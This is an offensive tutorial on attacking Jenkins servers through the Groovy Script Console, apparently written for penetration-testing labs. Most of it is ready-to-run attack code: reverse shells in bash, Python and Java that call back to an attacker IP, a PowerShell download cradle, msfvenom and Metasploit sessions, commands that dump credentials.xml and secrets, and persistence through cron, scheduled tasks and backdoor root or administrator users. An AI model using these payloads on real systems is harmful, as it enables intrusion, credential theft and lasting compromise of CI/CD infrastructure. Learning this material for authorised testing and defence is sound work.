Attacking Jenkins
Once access to Jenkins is obtained (via default credentials, weak passwords, or unauthenticated access), the Script Console provides a direct path to remote code execution with Jenkins’ privileges, often root or SYSTEM.
Script Console Overview
The Script Console is accessible at:
http://target.com:8080/script
Permissions: Requires “Overall/AdministrConfig” or “Overall/Run Scripts” permission.
The console allows execution of arbitrary Apache Groovy scripts within the Jenkins controller runtime. Groovy is a Java-compatible language that compiles to Java bytecode and can execute operating system commands.
Command Execution via Groovy
Basic Command Execution
Execute a simple command and capture output:
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Output:
uid=0(root) gid=0(root) groups=0(root)
Multi-line Command Execution
Execute complex commands with pipes and redirects:
def cmd = 'bash -c "whoami; id; pwd"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Directory Listing
def cmd = 'ls -la /opt/jenkins'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Read Files
def cmd = 'cat /etc/passwd'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Reverse Shell - Linux
Bash Reverse Shell (TCP)
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Listener:
nc -lvnp 8443
listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 57844
id
uid=0(root) gid=0(root) groups=0(root)
bash -i
root@app02:/var/lib/jenkins#
Bash Reverse Shell (Alternative)
def cmd = 'bash -i >& /dev/tcp/10.10.14.15/8443 0>&1'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Python Reverse Shell
def cmd = 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.10.14.15\',8443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);\"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Reverse Shell - Windows
CMD Execution
def cmd = "cmd.exe /c dir"
println("${cmd.execute().text}")
PowerShell Download Cradle
Use Invoke-PowerShellTcp.ps1 from Nishang:
def cmd = 'powershell -Command "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.15/Invoke-PowerShellTcp.ps1\')"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(5000)
Java Reverse Shell (Windows)
String host="10.10.14.15";
int port=8444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}catch (Exception e){}
};
p.destroy();
s.close();
Add User (Alternative to Reverse Shell)
Avoid persistence detection by adding a user for RDP/WinRM access:
def cmd = 'net user hacker P@ssw0rd123! /add'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
// Add to Administrators group
cmd = 'net localgroup Administrators hacker /add'
proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Then connect via RDP or WinRM with the new credentials.
Reverse Shell Payloads (Pre-built)
Using msfvenom
# Java reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=8443 -f jar > shell.jar
# Execute via Groovy
def cmd = 'java -jar /tmp/shell.jar'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Using Metasploit Module
msf6> use exploit/multi/misc/jenkins_rce
msf6 exploit(multi/misc/jenkins_rce) > set RHOSTS 10.129.201.58
msf6 exploit(multi/misc/jenkins_rce) > set RPORT 8080
msf6 exploit(multi/misc/jenkins_rce) > set USERNAME admin
msf6 exploit(multi/misc/jenkins_rce) > set PASSWORD password123
msf6 exploit(multi/misc/jenkins_rce) > set LHOST 10.10.14.15
msf6 exploit(multi/misc/jenkins_rce) > exploit
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Interacting with Jenkins...
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.201.58:45678)
meterpreter> shell
Process 1234 created.
Channel 1 created.
bash-4.2$ id
uid=0(root) gid=0(root) groups=0(root)
Jenkins Vulnerabilities
CVE-2018-1999002 & CVE-2019-1003000
Affected versions: Jenkins < 2.137
Type: Pre-authenticated RCE
Requirements: None (unauthenticated)
Bypass: Dynamic routing ACL bypass + script sandbox bypass
Impact: Attackers can execute arbitrary code on the Jenkins master server without authentication.
Exploitation:
- Exploits flaw in Jenkins dynamic routing to bypass Overall/Read ACL check
- Uses Groovy script compilation bypass to execute code outside sandbox
- Downloads and executes malicious JAR files
PoC: Public exploits available on GitHub and exploit databases.
CVE-2019-1003000 Details
- Affected: Jenkins 2.137 and earlier
- Type: Script security sandbox bypass
- Method: Exploits script serialization during compilation
- Impact: Read ACL users can execute arbitrary code
Jenkins 2.150.2 Node.js RCE
Affected version: Jenkins 2.150.2
Requirements: JOB creation and BUILD privileges
Default behavior: Anonymous users have these privileges
Exploitation:
// Node.js can be abused if installed
def cmd = 'node -e "require(\'child_process\').exec(\'id\', (error, stdout, stderr) => { console.log(stdout); });"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Data Exfiltration
Extract Credentials
Jenkins stores credentials in encrypted XML files:
def cmd = 'cat /var/lib/jenkins/credentials.xml'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Extract Job Configuration
def cmd = 'find /var/lib/jenkins/jobs -name "config.xml"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Extract Secrets
def cmd = 'grep -r "password\|secret\|token" /var/lib/jenkins/secrets/'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Persistence
Cron Job (Linux)
def cmd = 'echo "* * * * * /bin/bash -i >& /dev/tcp/10.10.14.15/8443 0>&1" | crontab -'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Scheduled Task (Windows)
def cmd = 'schtasks /create /tn "UpdateTask" /tr "powershell -Command IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.15/ps.ps1\')" /sc minute /mo 5'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Backdoor User (Linux)
def cmd = 'echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
Assessment Checklist
- Identify Jenkins version and check for known CVEs
- Attempt default credentials (admin:admin, jenkins:jenkins)
- Test for anonymous/unauthenticated access
- If Script Console accessible, execute test command (id)
- Establish reverse shell (bash/python/java depending on OS)
- Extract credentials from
credentials.xml - Enumerate jobs and extract sensitive build configuration
- Check for pipeline scripts with hardcoded secrets
- Document Jenkins running user and privileges
- Clean up any created users, cron jobs, or files
Post-Exploitation
Once RCE is achieved:
- Check privileges: Jenkins often runs as root or SYSTEM
- Enumerate services: Use Jenkins access to discover internal services
- Extract credentials: From Jenkins credentials store and job configs
- Lateral movement: Use extracted credentials for internal network access
- Establish persistence: Via cron, scheduled tasks, or user creation
Jenkins is frequently a high-privilege target, especially in CI/CD environments where it integrates with production systems and secrets management tools.
Tools Summary
| Tool | Purpose |
|---|---|
| Script Console | Native Groovy RCE interface |
| msfvenom | Generate reverse shell payloads |
Metasploit jenkins_rce | Automated exploitation |
| nc/ncat | Reverse shell listener |
| curl | Script console interaction (if API enabled) |
Key Takeaways
- Script Console is RCE: Any authenticated access = code execution
- Default credentials common: Many deployments use defaults unchanged
- Often root/SYSTEM: Jenkins runs with high privileges in production
- Groovy is powerful: Can execute any command available to Jenkins user
- Version matters: Many CVEs are version-specific; check for outdated installations
- Secrets storage: Jenkins keeps encrypted credentials; extraction reveals other systems’ access